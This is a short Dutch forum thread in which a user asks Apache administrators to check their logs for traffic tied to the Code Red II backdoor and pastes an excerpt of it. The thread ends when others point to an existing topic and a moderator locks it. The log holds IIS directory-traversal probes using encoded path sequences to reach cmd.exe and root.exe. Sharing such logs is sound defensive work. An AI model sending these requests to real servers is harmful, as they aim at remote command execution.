Code Red 2

[Verwijderd]

Hoi,

Kunnen Apache lovers ff hun logs checken?
Ik zie namelijk vreemde (nieuwe) log entries die te maken
lijken te hebben met de backdoor in Code-red 2.
Is dit een clean-worm ofzo? Of weet iemand hier meer over?

Alvast bedankt, hier een stukje (modded) log:

"GET /scripts/root.exe?/c+dir HTTP/1.0" 404 280
"GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 278
"GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 288
"GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 288
"GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
"GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
"GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
"GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd
"GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301
"GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301
"GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301
"GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301
"GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 285
"GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 285
"GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
"GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302

[Verwijderd]

Tja zie even rond in NOS

Hint: [topic=231310]

[Verwijderd]

Oh shit, sorry.
Ik heb poosje NOS niet gelezen en de topic over het
hoofd gezien!

[Verwijderd]

No need for sorry
Die staat er ook pas sinds vandaag.

[Jordi]

Isse nie errug, dan zet ik hier wel even een slotjuh op